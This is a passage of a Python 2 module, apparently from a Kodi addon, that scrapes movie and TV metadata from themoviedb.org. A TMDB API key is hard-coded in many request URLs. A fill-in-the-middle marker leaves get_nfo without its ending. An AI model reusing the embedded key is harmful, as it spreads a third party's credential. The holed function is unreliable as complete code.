idioma_busqueda=idioma_busqueda) elif item.infoLabels['imdb_id']: # ...Busqueda por imdb code otmdb = Tmdb(external_id=item.infoLabels['imdb_id'], external_source="imdb_id", tipo=tipo_busqueda, idioma_busqueda=idioma_busqueda) elif tipo_busqueda == 'tv': # buscar con otros codigos if item.infoLabels['tvdb_id']: # ...Busqueda por tvdb_id otmdb = Tmdb(external_id=item.infoLabels['tvdb_id'], external_source="tvdb_id", tipo=tipo_busqueda, idioma_busqueda=idioma_busqueda) elif item.infoLabels['freebase_mid']: # ...Busqueda por freebase_mid otmdb = Tmdb(external_id=item.infoLabels['freebase_mid'], external_source="freebase_mid", tipo=tipo_busqueda, idioma_busqueda=idioma_busqueda) elif item.infoLabels['freebase_id']: # ...Busqueda por freebase_id otmdb = Tmdb(external_id=item.infoLabels['freebase_id'], external_source="freebase_id", tipo=tipo_busqueda, idioma_busqueda=idioma_busqueda) elif item.infoLabels['tvrage_id']: # ...Busqueda por tvrage_id otmdb = Tmdb(external_id=item.infoLabels['tvrage_id'], external_source="tvrage_id", tipo=tipo_busqueda, idioma_busqueda=idioma_busqueda) #if otmdb is None: if not item.infoLabels['tmdb_id'] and not item.infoLabels['imdb_id'] and not item.infoLabels['tvdb_id'] and not item.infoLabels['freebase_mid'] and not item.infoLabels['freebase_id'] and not item.infoLabels['tvrage_id']: # No se ha podido buscar por ID... # hacerlo por titulo if tipo_busqueda == 'tv': # Busqueda de serie por titulo y filtrando sus resultados si es necesario otmdb = Tmdb(texto_buscado=item.infoLabels['tvshowtitle'], tipo=tipo_busqueda, idioma_busqueda=idioma_busqueda, filtro=item.infoLabels.get('filtro', {}), year=item.infoLabels['year']) else: # Busqueda de pelicula por titulo... if item.infoLabels['year'] or item.infoLabels['filtro']: # ...y año o filtro if item.contentTitle: titulo_buscado = item.contentTitle else: titulo_buscado = item.fulltitle otmdb = Tmdb(texto_buscado=titulo_buscado, tipo=tipo_busqueda, idioma_busqueda=idioma_busqueda, filtro=item.infoLabels.get('filtro', {}), year=item.infoLabels['year']) if otmdb is not None: if otmdb.get_id() and config.get_setting("tmdb_plus_info", default=False): # Si la busqueda ha dado resultado y no se esta buscando una lista de items, # realizar otra busqueda para ampliar la informacion otmdb = Tmdb(id_Tmdb=otmdb.result.get("id"), tipo=tipo_busqueda, idioma_busqueda=idioma_busqueda) if lock and lock.locked(): lock.release() if otmdb is not None and otmdb.get_id(): # La busqueda ha encontrado un resultado valido __leer_datos(otmdb) return len(item.infoLabels) # La busqueda en tmdb esta desactivada o no ha dado resultado # item.contentType = item.infoLabels['mediatype'] return -1 * len(item.infoLabels) def find_and_set_infoLabels(item): logger.info() global otmdb_global tmdb_result = None if item.contentType == "movie": tipo_busqueda = "movie" tipo_contenido = config.get_localized_string(70283) title = item.contentTitle else: tipo_busqueda = "tv" tipo_contenido = config.get_localized_string(60245) title = item.contentSerieName # Si el titulo incluye el (año) se lo quitamos year = scrapertools.find_single_match(title, "^.+?\s*(\(\d{4}\))$") if year: title = title.replace(year, "").strip() item.infoLabels['year'] = year[1:-1] if not item.infoLabels.get("tmdb_id"): if not item.infoLabels.get("imdb_id"): otmdb_global = Tmdb(texto_buscado=title, tipo=tipo_busqueda, year=item.infoLabels['year']) else: otmdb_global = Tmdb(external_id=item.infoLabels.get("imdb_id"), external_source="imdb_id", tipo=tipo_busqueda) elif not otmdb_global or str(otmdb_global.result.get("id")) != item.infoLabels['tmdb_id']: otmdb_global = Tmdb(id_Tmdb=item.infoLabels['tmdb_id'], tipo=tipo_busqueda, idioma_busqueda="es") results = otmdb_global.get_list_resultados() if len(results) > 1: from platformcode import platformtools tmdb_result = platformtools.show_video_info(results, item=item, caption=config.get_localized_string(60247) %(title, tipo_contenido)) elif len(results) > 0: tmdb_result = results[0] if isinstance(item.infoLabels, InfoLabels): infoLabels = item.infoLabels else: infoLabels = InfoLabels() if tmdb_result: infoLabels['tmdb_id'] = tmdb_result['id'] # todo mirar si se puede eliminar y obtener solo desde get_nfo() infoLabels['url_scraper'] = ["https://www.themoviedb.org/%s/%s" % (tipo_busqueda, infoLabels['tmdb_id'])] if infoLabels['tvdb_id']: infoLabels['url_scraper'].append("http://thetvdb.com/index.php?tab=series&id=%s" % infoLabels['tvdb_id']) item.infoLabels = infoLabels set_infoLabels_item(item) return True else: item.infoLabels = infoLabels return False def get_nfo(item): """ Devuelve la información necesaria para que se scrapee el resultado en la videoteca de kodi, para tmdb funciona solo pasandole la url. @param item: elemento que contiene los datos necesarios para generar la info @type item: Item @rtype: str @return: """ if "season" in item.infoLabels and "episode" in item.infoLabels: info_nfo = "https://www.themoviedb.org/tv/%s/season/%s/episode/%s\n" % \ (item.infoLabels['tmdb_id'], item.contentSeason, item.contentEpisodeNumber) else: info_nfo = ', '.join(item.infoLabels['url_scraper']) + "\n" <|fim▁hole|> def completar_codigos(item): """ Si es necesario comprueba si existe el identificador de tvdb y sino existe trata de buscarlo """ if item.contentType != "movie" and not item.infoLabels['tvdb_id']: # Lanzar busqueda por imdb_id en tvdb from core.tvdb import Tvdb ob = Tvdb(imdb_id=item.infoLabels['imdb_id']) item.infoLabels['tvdb_id'] = ob.get_id() if item.infoLabels['tvdb_id']: url_scraper = "http://thetvdb.com/index.php?tab=series&id=%s" % item.infoLabels['tvdb_id'] if url_scraper not in item.infoLabels['url_scraper']: item.infoLabels['url_scraper'].append(url_scraper) def discovery(item): from core.item import Item from platformcode import unify if item.search_type == 'discover': listado = Tmdb(discover={'url':'discover/%s' % item.type, 'with_genres':item.list_type, 'language':'es', 'page':item.page}) elif item.search_type == 'list': if item.page == '': item.page = '1' listado = Tmdb(list={'url': item.list_type, 'language':'es', 'page':item.page}) logger.debug(listado.get_list_resultados()) result = listado.get_list_resultados() return result def get_genres(type): lang = 'es' genres = Tmdb(tipo=type) return genres.dic_generos[lang] # Clase auxiliar class ResultDictDefault(dict): # Python 2.4 def __getitem__(self, key): try: return super(ResultDictDefault, self).__getitem__(key) except: return self.__missing__(key) def __missing__(self, key): """ valores por defecto en caso de que la clave solicitada no exista """ if key in ['genre_ids', 'genre', 'genres']: return list() elif key == 'images_posters': posters = dict() if 'images' in super(ResultDictDefault, self).keys() and \ 'posters' in super(ResultDictDefault, self).__getitem__('images'): posters = super(ResultDictDefault, self).__getitem__('images')['posters'] super(ResultDictDefault, self).__setattr__("images_posters", posters) return posters elif key == "images_backdrops": backdrops = dict() if 'images' in super(ResultDictDefault, self).keys() and \ 'backdrops' in super(ResultDictDefault, self).__getitem__('images'): backdrops = super(ResultDictDefault, self).__getitem__('images')['backdrops'] super(ResultDictDefault, self).__setattr__("images_backdrops", backdrops) return backdrops elif key == "images_profiles": profiles = dict() if 'images' in super(ResultDictDefault, self).keys() and \ 'profiles' in super(ResultDictDefault, self).__getitem__('images'): profiles = super(ResultDictDefault, self).__getitem__('images')['profiles'] super(ResultDictDefault, self).__setattr__("images_profiles", profiles) return profiles else: # El resto de claves devuelven cadenas vacias por defecto return "" def __str__(self): return self.tostring(separador=',\n') def tostring(self, separador=',\n'): ls = [] for i in super(ResultDictDefault, self).items(): i_str = str(i)[1:-1] if isinstance(i[0], str): old = i[0] + "'," new = i[0] + "':" else: old = str(i[0]) + "," new = str(i[0]) + ":" ls.append(i_str.replace(old, new, 1)) return "{%s}" % separador.join(ls) # --------------------------------------------------------------------------------------------------------------- # class Tmdb: # Scraper para el addon basado en el Api de https://www.themoviedb.org/ # version 1.4: # - Documentada limitacion de uso de la API (ver mas abajo). # - Añadido metodo get_temporada() # version 1.3: # - Corregido error al devolver None el path_poster y el backdrop_path # - Corregido error que hacia que en el listado de generos se fueran acumulando de una llamada a otra # - Añadido metodo get_generos() # - Añadido parametros opcional idioma_alternativo al metodo get_sinopsis() # # # Uso: # Metodos constructores: # Tmdb(texto_buscado, tipo) # Parametros: # texto_buscado:(str) Texto o parte del texto a buscar # tipo: ("movie" o "tv") Tipo de resultado buscado peliculas o series. Por defecto "movie" # (opcional) idioma_busqueda: (str) codigo del idioma segun ISO 639-1 # (opcional) include_adult: (bool) Se incluyen contenidos para adultos en la busqueda o no. Por defecto # 'False' # (opcional) year: (str) Año de lanzamiento. # (opcional) page: (int) Cuando hay muchos resultados para una busqueda estos se organizan por paginas. # Podemos cargar la pagina que deseemos aunque por defecto siempre es la primera. # Return: # Esta llamada devuelve un objeto Tmdb que contiene la primera pagina del resultado de buscar 'texto_buscado' # en la web themoviedb.org. Cuantos mas parametros opcionales se incluyan mas precisa sera la busqueda. # Ademas el objeto esta inicializado con el primer resultado de la primera pagina de resultados. # Tmdb(id_Tmdb,tipo) # Parametros: # id_Tmdb: (str) Codigo identificador de una determinada pelicula o serie en themoviedb.org # tipo: ("movie" o "tv") Tipo de resultado buscado peliculas o series. Por defecto "movie" # (opcional) idioma_busqueda: (str) codigo del idioma segun ISO 639-1 # Return: # Esta llamada devuelve un objeto Tmdb que contiene el resultado de buscar una pelicula o serie con el # identificador id_Tmd # en la web themoviedb.org. # Tmdb(external_id, external_source, tipo) # Parametros: # external_id: (str) Codigo identificador de una determinada pelicula o serie en la web referenciada por # 'external_source'. # external_source: (Para series:"imdb_id","freebase_mid","freebase_id","tvdb_id","tvrage_id"; Para # peliculas:"imdb_id") # tipo: ("movie" o "tv") Tipo de resultado buscado peliculas o series. Por defecto "movie" # (opcional) idioma_busqueda: (str) codigo del idioma segun ISO 639-1 # Return: # Esta llamada devuelve un objeto Tmdb que contiene el resultado de buscar una pelicula o serie con el # identificador 'external_id' de # la web referenciada por 'external_source' en la web themoviedb.org. # # Metodos principales: # get_id(): Retorna un str con el identificador Tmdb de la pelicula o serie cargada o una cadena vacia si no hubiese # nada cargado. # get_sinopsis(idioma_alternativo): Retorna un str con la sinopsis de la serie o pelicula cargada. # get_poster (tipo_respuesta,size): Obtiene el poster o un listado de posters. # get_backdrop (tipo_respuesta,size): Obtiene una imagen de fondo o un listado de imagenes de fondo. # get_temporada(temporada): Obtiene un diccionario con datos especificos de la temporada. # get_episodio (temporada, capitulo): Obtiene un diccionario con datos especificos del episodio. # get_generos(): Retorna un str con la lista de generos a los que pertenece la pelicula o serie. # # # Otros metodos: # load_resultado(resultado, page): Cuando la busqueda devuelve varios resultados podemos seleccionar que resultado # concreto y de que pagina cargar los datos. # # Limitaciones: # El uso de la API impone un limite de 20 conexiones simultaneas (concurrencia) o 30 peticiones en 10 segundos por IP # Informacion sobre la api : http://docs.themoviedb.apiary.io # ------------------------------------------------------------------------------------------------------------------- class Tmdb(object): # Atributo de clase dic_generos = {} ''' dic_generos={"id_idioma1": {"tv": {"id1": "name1", "id2": "name2" }, "movie": {"id1": "name1", "id2": "name2" } } } ''' dic_country = {"AD": "Andorra", "AE": "Emiratos Árabes Unidos", "AF": "Afganistán", "AG": "Antigua y Barbuda", "AI": "Anguila", "AL": "Albania", "AM": "Armenia", "AN": "Antillas Neerlandesas", "AO": "Angola", "AQ": "Antártida", "AR": "Argentina", "AS": "Samoa Americana", "AT": "Austria", "AU": "Australia", "AW": "Aruba", "AX": "Islas de Åland", "AZ": "Azerbayán", "BA": "Bosnia y Herzegovina", "BD": "Bangladesh", "BE": "Bélgica", "BF": "Burkina Faso", "BG": "Bulgaria", "BI": "Burundi", "BJ": "Benín", "BL": "San Bartolomé", "BM": "Islas Bermudas", "BN": "Brunéi", "BO": "Bolivia", "BR": "Brasil", "BS": "Bahamas", "BT": "Bhután", "BV": "Isla Bouvet", "BW": "Botsuana", "BY": "Bielorrusia", "BZ": "Belice", "CA": "Canadá", "CC": "Islas Cocos (Keeling)", "CD": "Congo", "CF": "República Centroafricana", "CG": "Congo", "CH": "Suiza", "CI": "Costa de Marfil", "CK": "Islas Cook", "CL": "Chile", "CM": "Camerún", "CN": "China", "CO": "Colombia", "CR": "Costa Rica", "CU": "Cuba", "CV": "Cabo Verde", "CX": "Isla de Navidad", "CY": "Chipre", "CZ": "República Checa", "DE": "Alemania", "DJ": "Yibuti", "DK": "Dinamarca", "DZ": "Algeria", "EC": "Ecuador", "EE": "Estonia", "EG": "Egipto", "EH": "Sahara Occidental", "ER": "Eritrea", "ES": "España", "ET": "Etiopía", "FI": "Finlandia", "FJ": "Fiyi", "FK": "Islas Malvinas", "FM": "Micronesia", "FO": "Islas Feroe", "FR": "Francia", "GA": "Gabón", "GB": "Gran Bretaña", "GD": "Granada", "GE": "Georgia", "GF": "Guayana Francesa", "GG": "Guernsey", "GH": "Ghana", "GI": "Gibraltar", "GL": "Groenlandia", "GM": "Gambia", "GN": "Guinea", "GP": "Guadalupe", "GQ": "Guinea Ecuatorial", "GR": "Grecia", "GS": "Islas Georgias del Sur y Sandwich del Sur", "GT": "Guatemala", "GW": "Guinea-Bissau", "GY": "Guyana", "HK": "Hong kong", "HM": "Islas Heard y McDonald", "HN": "Honduras", "HR": "Croacia", "HT": "Haití", "HU": "Hungría", "ID": "Indonesia", "IE": "Irlanda", "IM": "Isla de Man", "IN": "India", "IO": "Territorio Británico del Océano Índico", "IQ": "Irak", "IR": "Irán", "IS": "Islandia", "IT": "Italia", "JE": "Jersey", "JM": "Jamaica", "JO": "Jordania", "JP": "Japón", "KG": "Kirgizstán", "KH": "Camboya", "KM": "Comoras", "KP": "Corea del Norte", "KR": "Corea del Sur", "KW": "Kuwait", "KY": "Islas Caimán", "KZ": "Kazajistán", "LA": "Laos", "LB": "Líbano", "LC": "Santa Lucía", "LI": "Liechtenstein", "LK": "Sri lanka", "LR": "Liberia", "LS": "Lesoto", "LT": "Lituania", "LU": "Luxemburgo", "LV": "Letonia", "LY": "Libia", "MA": "Marruecos", "MC": "Mónaco", "MD": "Moldavia", "ME": "Montenegro", "MF": "San Martín (Francia)", "MG": "Madagascar", "MH": "Islas Marshall", "MK": "Macedônia", "ML": "Mali", "MM": "Birmania", "MN": "Mongolia", "MO": "Macao", "MP": "Islas Marianas del Norte", "MQ": "Martinica", "MR": "Mauritania", "MS": "Montserrat", "MT": "Malta", "MU": "Mauricio", "MV": "Islas Maldivas", "MW": "Malawi", "MX": "México", "MY": "Malasia", "NA": "Namibia", "NE": "Niger", "NG": "Nigeria", "NI": "Nicaragua", "NL": "Países Bajos", "NO": "Noruega", "NP": "Nepal", "NR": "Nauru", "NU": "Niue", "NZ": "Nueva Zelanda", "OM": "Omán", "PA": "Panamá", "PE": "Perú", "PF": "Polinesia Francesa", "PH": "Filipinas", "PK": "Pakistán", "PL": "Polonia", "PM": "San Pedro y Miquelón", "PN": "Islas Pitcairn", "PR": "Puerto Rico", "PS": "Palestina", "PT": "Portugal", "PW": "Palau", "PY": "Paraguay", "QA": "Qatar", "RE": "Reunión", "RO": "Rumanía", "RS": "Serbia", "RU": "Rusia", "RW": "Ruanda", "SA": "Arabia Saudita", "SB": "Islas Salomón", "SC": "Seychelles", "SD": "Sudán", "SE": "Suecia", "SG": "Singapur", "SH": "Santa Elena", "SI": "Eslovenia", "SJ": "Svalbard y Jan Mayen", "SK": "Eslovaquia", "SL": "Sierra Leona", "SM": "San Marino", "SN": "Senegal", "SO": "Somalia", "SV": "El Salvador", "SY": "Siria", "SZ": "Swazilandia", "TC": "Islas Turcas y Caicos", "TD": "Chad", "TF": "Territorios Australes y Antárticas Franceses", "TG": "Togo", "TH": "Tailandia", "TJ": "Tadjikistán", "TK": "Tokelau", "TL": "Timor Oriental", "TM": "Turkmenistán", "TN": "Tunez", "TO": "Tonga", "TR": "Turquía", "TT": "Trinidad y Tobago", "TV": "Tuvalu", "TW": "Taiwán", "TZ": "Tanzania", "UA": "Ucrania", "UG": "Uganda", "UM": "Islas Ultramarinas Menores de Estados Unidos", "UY": "Uruguay", "UZ": "Uzbekistán", "VA": "Ciudad del Vaticano", "VC": "San Vicente y las Granadinas", "VE": "Venezuela", "VG": "Islas Vírgenes Británicas", "VI": "Islas Vírgenes de los Estados Unidos", "VN": "Vietnam", "VU": "Vanuatu", "WF": "Wallis y Futuna", "WS": "Samoa", "YE": "Yemen", "YT": "Mayotte", "ZA": "Sudáfrica", "ZM": "Zambia", "ZW": "Zimbabue", "BB": "Barbados", "BH": "Bahrein", "DM": "Dominica", "DO": "República Dominicana", "GU": "Guam", "IL": "Israel", "KE": "Kenia", "KI": "Kiribati", "KN": "San Cristóbal y Nieves", "MZ": "Mozambique", "NC": "Nueva Caledonia", "NF": "Isla Norfolk", "PG": "Papúa Nueva Guinea", "SR": "Surinám", "ST": "Santo Tomé y Príncipe", "US": "EEUU"} def __init__(self, **kwargs): self.page = kwargs.get('page', 1) self.index_results = 0 self.results = [] self.result = ResultDictDefault() self.total_pages = 0 self.total_results = 0 self.temporada = {} self.texto_buscado = kwargs.get('texto_buscado', '') self.busqueda_id = kwargs.get('id_Tmdb', '') self.busqueda_texto = re.sub('\[\\\?(B|I|COLOR)\s?[^\]]*\]', '', self.texto_buscado).strip() self.busqueda_tipo = kwargs.get('tipo', '') self.busqueda_idioma = kwargs.get('idioma_busqueda', 'es') self.busqueda_include_adult = kwargs.get('include_adult', False) self.busqueda_year = kwargs.get('year', '') self.busqueda_filtro = kwargs.get('filtro', {}) self.discover = kwargs.get('discover', {}) self.list = kwargs.get('list', {}) # Reellenar diccionario de generos si es necesario if (self.busqueda_tipo == 'movie' or self.busqueda_tipo == "tv") and \ (self.busqueda_idioma not in Tmdb.dic_generos or self.busqueda_tipo not in Tmdb.dic_generos[self.busqueda_idioma]): self.rellenar_dic_generos(self.busqueda_tipo, self.busqueda_idioma) if not self.busqueda_tipo: self.busqueda_tipo = 'movie' if self.busqueda_id: # Busqueda por identificador tmdb self.__by_id() elif self.busqueda_texto: # Busqueda por texto self.__search(page=self.page) elif 'external_source' in kwargs and 'external_id' in kwargs: # Busqueda por identificador externo segun el tipo. # TV Series: imdb_id, freebase_mid, freebase_id, tvdb_id, tvrage_id # Movies: imdb_id if (self.busqueda_tipo == 'movie' and kwargs.get('external_source') == "imdb_id") or \ (self.busqueda_tipo == 'tv' and kwargs.get('external_source') in ( "imdb_id", "freebase_mid", "freebase_id", "tvdb_id", "tvrage_id")): self.busqueda_id = kwargs.get('external_id') self.__by_id(source=kwargs.get('external_source')) elif self.discover: self.__discover() elif self.list: self.__list() else: logger.debug("Creado objeto vacio") @staticmethod @cache_response def get_json(url): try: result = httptools.downloadpage(url, cookies=False) res_headers = result.headers # logger.debug("res_headers es %s" % res_headers) dict_data = jsontools.load(result.data) # logger.debug("result_data es %s" % dict_data) if "status_code" in dict_data: logger.debug("\nError de tmdb: %s %s" % (dict_data["status_code"], dict_data["status_message"])) if dict_data["status_code"] == 25: while "status_code" in dict_data and dict_data["status_code"] == 25: wait = int(res_headers['retry-after']) logger.debug("Limite alcanzado, esperamos para volver a llamar en ...%s" % wait) time.sleep(wait) # logger.debug("RE Llamada #%s" % d) result = httptools.downloadpage(url, cookies=False) res_headers = result.headers # logger.debug("res_headers es %s" % res_headers) dict_data = jsontools.load(result.data) # logger.debug("result_data es %s" % dict_data) # error al obtener los datos except Exception, ex: message = "An exception of type %s occured. Arguments:\n%s" % (type(ex).__name__, repr(ex.args)) logger.error("error en: %s" % message) dict_data = {} return dict_data @classmethod def rellenar_dic_generos(cls, tipo='movie', idioma='es'): # Rellenar diccionario de generos del tipo e idioma pasados como parametros if idioma not in cls.dic_generos: cls.dic_generos[idioma] = {} if tipo not in cls.dic_generos[idioma]: cls.dic_generos[idioma][tipo] = {} url = ('http://api.themoviedb.org/3/genre/%s/list?api_key=a1ab8b8669da03637a4b98fa39c39228&language=%s' % (tipo, idioma)) try: logger.info("[Tmdb.py] Rellenando dicionario de generos") resultado = cls.get_json(url) lista_generos = resultado["genres"] for i in lista_generos: cls.dic_generos[idioma][tipo][str(i["id"])] = i["name"] except: logger.error("Error generando diccionarios") def __by_id(self, source='tmdb'): if self.busqueda_id: if source == "tmdb": # http://api.themoviedb.org/3/movie/1924?api_key=a1ab8b8669da03637a4b98fa39c39228&language=es # &append_to_response=images,videos,external_ids,credits&include_image_language=es,null # http://api.themoviedb.org/3/tv/1407?api_key=a1ab8b8669da03637a4b98fa39c39228&language=es # &append_to_response=images,videos,external_ids,credits&include_image_language=es,null url = ('http://api.themoviedb.org/3/%s/%s?api_key=a1ab8b8669da03637a4b98fa39c39228&language=%s' '&append_to_response=images,videos,external_ids,credits&include_image_language=%s,null' % (self.busqueda_tipo, self.busqueda_id, self.busqueda_idioma, self.busqueda_idioma)) buscando = "id_Tmdb: %s" % self.busqueda_id else: # http://api.themoviedb.org/3/find/%s?external_source=imdb_id&api_key=a1ab8b8669da03637a4b98fa39c39228 url = ('http://api.themoviedb.org/3/find/%s?external_source=%s&api_key=a1ab8b8669da03637a4b98fa39c39228' '&language=%s' % (self.busqueda_id, source, self.busqueda_idioma)) buscando = "%s: %s" % (source.capitalize(), self.busqueda_id) logger.info("[Tmdb.py] Buscando %s:\n%s" % (buscando, url)) resultado = self.get_json(url) if resultado: if source != "tmdb": if self.busqueda_tipo == "movie": resultado = resultado["movie_results"][0] else: resultado = resultado["tv_results"][0] self.results = [resultado] self.total_results = 1 self.total_pages = 1 self.result = ResultDictDefault(resultado) else: # No hay resultados de la busqueda msg = "La busqueda de %s no dio resultados." % buscando logger.debug(msg) def __search(self, index_results=0, page=1): self.result = ResultDictDefault() results = [] text_quote = urllib.quote(self.busqueda_texto) total_results = 0 total_pages = 0 buscando = "" if self.busqueda_texto: # http://api.themoviedb.org/3/search/movie?api_key=a1ab8b8669da03637a4b98fa39c39228&query=superman&language=es # &include_adult=false&page=1 url = ('http://api.themoviedb.org/3/search/%s?api_key=a1ab8b8669da03637a4b98fa39c39228&query=%s&language=%s' '&include_adult=%s&page=%s' % (self.busqueda_tipo, text_quote, self.busqueda_idioma, self.busqueda_include_adult, page)) if self.busqueda_year: url += '&year=%s' % self.busqueda_year buscando = self.busqueda_texto.capitalize() logger.info("[Tmdb.py] Buscando %s en pagina %s:\n%s" % (buscando, page, url)) resultado = self.get_json(url) total_results = resultado.get("total_results", 0) total_pages = resultado.get("total_pages", 0) if total_results > 0: results = resultado["results"] if self.busqueda_filtro and total_results > 1: # TODO documentar esta parte for key, value in dict(self.busqueda_filtro).items(): for r in results[:]: if not r[key]: r[key] = str(r[key]) if key not in r or value not in r[key]: results.remove(r) total_results -= 1 if results: if index_results >= len(results): # Se ha solicitado un numero de resultado mayor de los obtenidos logger.error( "La busqueda de '%s' dio %s resultados para la pagina %s\nImposible mostrar el resultado numero %s" % (buscando, len(results), page, index_results)) return 0 # Retornamos el numero de resultados de esta pagina self.results = results self.total_results = total_results self.total_pages = total_pages self.result = ResultDictDefault(self.results[index_results]) return len(self.results) else: # No hay resultados de la busqueda msg = "La busqueda de '%s' no dio resultados para la pagina %s" % (buscando, page) logger.error(msg) return 0 def __list(self, index_results=0): self.result = ResultDictDefault() results = [] total_results = 0 total_pages = 0 # Ejemplo self.discover: {'url': 'movie/', 'with_cast': '1'} # url: Método de la api a ejecutar # resto de claves: Parámetros de la búsqueda concatenados a la url type_search = self.list.get('url', '') if type_search: params = [] for key, value in self.list.items(): if key != "url": params.append("&"+key + "=" + str(value)) # http://api.themoviedb.org/3/movie/popolar?api_key=a1ab8b8669da03637a4b98fa39c39228&&language=es url = ('http://api.themoviedb.org/3/%s?api_key=a1ab8b8669da03637a4b98fa39c39228%s' % (type_search, ''.join(params))) logger.info("[Tmdb.py] Buscando %s:\n%s" % (type_search, url)) resultado = self.get_json(url) total_results = resultado.get("total_results", -1) total_pages = resultado.get("total_pages", 1) if total_results > 0: results = resultado["results"] if self.busqueda_filtro and results: # TODO documentar esta parte for key, value in dict(self.busqueda_filtro).items(): for r in results[:]: if key not in r or r[key] != value: results.remove(r) total_results -= 1 elif total_results == -1: results = resultado if index_results >= len(results): logger.error( "La busqueda de '%s' no dio %s resultados" % (type_search, index_results)) return 0 # Retornamos el numero de resultados de esta pagina if results: self.results = results self.total_results = total_results self.total_pages = total_pages if total_results > 0: self.result = ResultDictDefault(self.results[index_results]) else: self.result = results return len(self.results) else: # No hay resultados de la busqueda logger.error("La busqueda de '%s' no dio resultados" % type_search) return 0 def __discover(self, index_results=0): self.result = ResultDictDefault() results = [] total_results = 0 total_pages = 0 # Ejemplo self.discover: {'url': 'discover/movie', 'with_cast': '1'} # url: Método de la api a ejecutar # resto de claves: Parámetros de la búsqueda concatenados a la url type_search = self.discover.get('url', '') if type_search: params = [] for key, value in self.discover.items(): if key != "url": params.append(key + "=" + str(value)) # http://api.themoviedb.org/3/discover/movie?api_key=a1ab8b8669da03637a4b98fa39c39228&query=superman&language=es url = ('http://api.themoviedb.org/3/%s?api_key=a1ab8b8669da03637a4b98fa39c39228&%s' % (type_search, "&".join(params))) logger.info("[Tmdb.py] Buscando %s:\n%s" % (type_search, url)) resultado = self.get_json(url) total_results = resultado.get("total_results", -1) total_pages = resultado.get("total_pages", 1) if total_results > 0: results = resultado["results"] if self.busqueda_filtro and results: # TODO documentar esta parte for key, value in dict(self.busqueda_filtro).items(): for r in results[:]: if key not in r or r[key] != value: results.remove(r) total_results -= 1 elif total_results == -1: results = resultado if index_results >= len(results): logger.error( "La busqueda de '%s' no dio %s resultados" % (type_search, index_results)) return 0 # Retornamos el numero de resultados de esta pagina if results: self.results = results self.total_results = total_results self.total_pages = total_pages if total_results > 0: self.result = ResultDictDefault(self.results[index_results]) else: self.result = results return len(self.results) else: # No hay resultados de la busqueda logger.error("La busqueda de '%s' no dio resultados" % type_search) return 0 def load_resultado(self, index_results=0, page=1): # Si no hay resultados, solo hay uno o # si el numero de resultados de esta pagina es menor al indice buscado salir self.result = ResultDictDefault() num_result_page = len(self.results) if page > self.total_pages: return False if page != self.page: num_result_page = self.__search(index_results, page) if num_result_page == 0 or num_result_page <= index_results: return False self.page = page self.index_results = index_results self.result = ResultDictDefault(self.results[index_results]) return True def get_list_resultados(self, num_result=20): # logger.info("self %s" % str(self)) # TODO documentar res = [] if num_result <= 0: num_result = self.total_results num_result = min([num_result, self.total_results]) cr = 0 for p in range(1, self.total_pages + 1): for r in range(0, len(self.results)): try: if self.load_resultado(r, p): result = self.result.copy() result['thumbnail'] = self.get_poster(size="w300") result['fanart'] = self.get_backdrop() res.append(result) cr += 1 if cr >= num_result: return res except: continue return res def get_generos(self, origen=None): """ :param origen: Diccionario origen de donde se obtiene los infoLabels, por omision self.result :type origen: Dict :return: Devuelve la lista de generos a los que pertenece la pelicula o serie. :rtype: str """ genre_list = [] if not origen: origen = self.result if "genre_ids" in origen: # Buscar lista de generos por IDs for i in origen.get("genre_ids"): try: genre_list.append(Tmdb.dic_generos[self.busqueda_idioma][self.busqueda_tipo][str(i)]) except: pass elif "genre" in origen or "genres" in origen: # Buscar lista de generos (lista de objetos {id,nombre}) v = origen["genre"] v.extend(origen["genres"]) for i in v: genre_list.append(i['name']) return ', '.join(genre_list) def search_by_id(self, id, source='tmdb', tipo='movie'): self.busqueda_id = id self.busqueda_tipo = tipo self.__by_id(source=source) def get_id(self): """ :return: Devuelve el identificador Tmdb de la pelicula o serie cargada o una cadena vacia en caso de que no hubiese nada cargado. Se puede utilizar este metodo para saber si una busqueda ha dado resultado o no. :rtype: str """ return str(self.result.get('id', "")) def get_sinopsis(self, idioma_alternativo=""): """ :param idioma_alternativo: codigo del idioma, segun ISO 639-1, en el caso de que en el idioma fijado para la busqueda no exista sinopsis. Por defecto, se utiliza el idioma original. Si se utiliza None como idioma_alternativo, solo se buscara en el idioma fijado. :type idioma_alternativo: str :return: Devuelve la sinopsis de una pelicula o serie :rtype: str """ ret = "" if 'id' in self.result: ret = self.result.get('overview') if ret == "" and str(idioma_alternativo).lower() != 'none': # Vamos a lanzar una busqueda por id y releer de nuevo la sinopsis self.busqueda_id = str(self.result["id"]) if idioma_alternativo: self.busqueda_idioma = idioma_alternativo else: self.busqueda_idioma = self.result['original_language'] url = ('http://api.themoviedb.org/3/%s/%s?api_key=a1ab8b8669da03637a4b98fa39c39228&language=%s' % (self.busqueda_tipo, self.busqueda_id, self.busqueda_idioma)) resultado = self.get_json(url) if 'overview' in resultado: self.result['overview'] = resultado['overview'] ret = self.result['overview'] return ret def get_poster(self, tipo_respuesta="str", size="original"): """ @param tipo_respuesta: Tipo de dato devuelto por este metodo. Por defecto "str" @type tipo_respuesta: list, str @param size: ("w45", "w92", "w154", "w185", "w300", "w342", "w500", "w600", "h632", "w780", "w1280", "original") Indica la anchura(w) o altura(h) de la imagen a descargar. Por defecto "original" @return: Si el tipo_respuesta es "list" devuelve un listado con todas las urls de las imagenes tipo poster del tamaño especificado. Si el tipo_respuesta es "str" devuelve la url de la imagen tipo poster, mas valorada, del tamaño especificado. Si el tamaño especificado no existe se retornan las imagenes al tamaño original. @rtype: list, str """ ret = [] if size not in ("w45", "w92", "w154", "w185", "w300", "w342", "w500", "w600", "h632", "w780", "w1280"): size = "original" if self.result["poster_path"] is None or self.result["poster_path"] == "": poster_path = "" else: poster_path = 'http://image.tmdb.org/t/p/' + size + self.result["poster_path"] if tipo_respuesta == 'str': return poster_path elif not self.result["id"]: return [] if len(self.result['images_posters']) == 0: # Vamos a lanzar una busqueda por id y releer de nuevo self.busqueda_id = str(self.result["id"]) self.__by_id() if len(self.result['images_posters']) > 0: for i in self.result['images_posters']: imagen_path = i['file_path'] if size != "original": # No podemos pedir tamaños mayores que el original if size[1] == 'w' and int(imagen_path['width']) < int(size[1:]): size = "original" elif size[1] == 'h' and int(imagen_path['height']) < int(size[1:]): size = "original" ret.append('http://image.tmdb.org/t/p/' + size + imagen_path) else: ret.append(poster_path) return ret def get_backdrop(self, tipo_respuesta="str", size="original"): """ Devuelve las imagenes de tipo backdrop @param tipo_respuesta: Tipo de dato devuelto por este metodo. Por defecto "str" @type tipo_respuesta: list, str @param size: ("w45", "w92", "w154", "w185", "w300", "w342", "w500", "w600", "h632", "w780", 